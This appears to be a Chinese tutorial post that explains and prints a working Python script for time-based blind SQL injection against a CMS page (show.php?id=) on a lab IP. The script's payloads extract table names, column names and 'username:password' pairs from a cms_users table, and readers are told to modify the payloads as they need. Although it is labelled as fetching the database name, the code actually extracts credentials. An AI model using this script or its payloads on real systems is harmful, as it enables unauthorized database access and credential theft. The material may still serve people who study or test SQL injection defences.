这段代码的主要目的是利用SQL注入攻击来获取目标数据库的名称。它通过发送带有特定payload参数的HTTP GET请求,结合响应时间判断是否存在预期的结果,以此实现盲注攻击。
以下是代码逻辑的详细分析:
-
定义基础信息:
BASE_URL
:目标服务器的URL。VULNERABLE_ENDPOINT
:存在SQL注入漏洞的API端点。USER_AGENT
:模拟浏览器User-Agent字符串,用于伪装请求来源。shellcode
:一个包含不同SQL查询语句的列表,分别用于获取数据库名、所有表名、指定表的列名和用户名与密码拼接的记录。
-
定义
timeout
函数:- 该函数发送一个HTTP GET请求到指定URL,并设置超时时间为3秒。
- 如果请求超时(即触发了sleep函数),则返回字符串"timeout";否则返回响应文本内容。
-
定义
get_content_length
函数:- 通过遍历范围内的长度值,构建payload尝试确定第四个SQL查询(用户与密码拼接)结果的长度。
- 当检测到请求超时(触发了sleep函数),认为找到了正确的长度并返回。
-
定义
get_database_name
函数:- 根据上一步得到的长度值,逐个字符解析数据库名。
- 使用盲注技术,尝试匹配每一个可打印字符是否为数据库名中的对应字符。
- 当发现请求超时时,将当前字符添加到数据库名变量中,并实时显示已获取的部分数据库名。
- 获取完整数据库名后返回。
-
主程序流程:
- 调用
get_content_length
函数获取数据库名的长度。 - 如果成功获取到了长度,则调用
get_database_name
函数以盲注方式获取数据库名并实时打印。 - 若无法获取数据库名长度,则输出错误提示。
- 调用
具体代码
可根据自己需要去修改payload
import requests
import string
"""
http://10.9.63.129/cms/show.php?id=33 and if(1=1,sleep(5),1)
"""
BASE_URL = "http://10.9.63.129/cms"
VULNERABLE_ENDPOINT = "/show.php"
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36"
# 定义shellcode 方便更改payload语句
shellcode=[
"select database()",#数据库名
"select group_concat(table_name) from information_schema.tables where table_schema=database()",#表名
"select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='cms_users'",#表名
"select concat(username,':',password) from cms_users",
]
def timeout(url,payload):
try:
res=requests.get(url=url,params=payload,headers={"User-Agent": USER_AGENT},timeout=3)
# print(res.text)
except requests.exceptions.ReadTimeout:
return "timeout"
else:
return res.text
def get_content_length():
full_url=BASE_URL+VULNERABLE_ENDPOINT
for content_length in range(1,1000):
payload = {
'id':f'33 and if(length(({shellcode[3]}))={content_length},sleep(5),1)'
}
# print(payload)
if "timeout" in timeout(full_url,payload):
break
return content_length
def get_database_name(content_length):
db_name = ""#数据库名
full_url = BASE_URL + VULNERABLE_ENDPOINT#url
print("[+] 正在获取数据库名,请稍候...", end="\r")
for i in range(1, content_length + 1):
for c in string.printable.strip():
payload = {'id': f"33 and if(substr(({shellcode[3]}),{i},1)='{c}',sleep(5),1)"}
# response = requests.get(full_url, params=payload, headers={"User-Agent": USER_AGENT})
if "timeout" in timeout(full_url,payload):
db_name += c
print(f"[+] 已获取的数据库名为: {' ' * (content_length - len(db_name))}{db_name}", end="\r")
break
print(f"\n[+] 获取到的最终数据库名为: {db_name}")
return db_name or "无法获取数据库名"
# 获取数据库名长度
content_length = get_content_length()
if content_length is not None:
# 获取并实时打印数据库名
get_database_name(content_length)
else:
print("[!] 无法确定数据库名长度")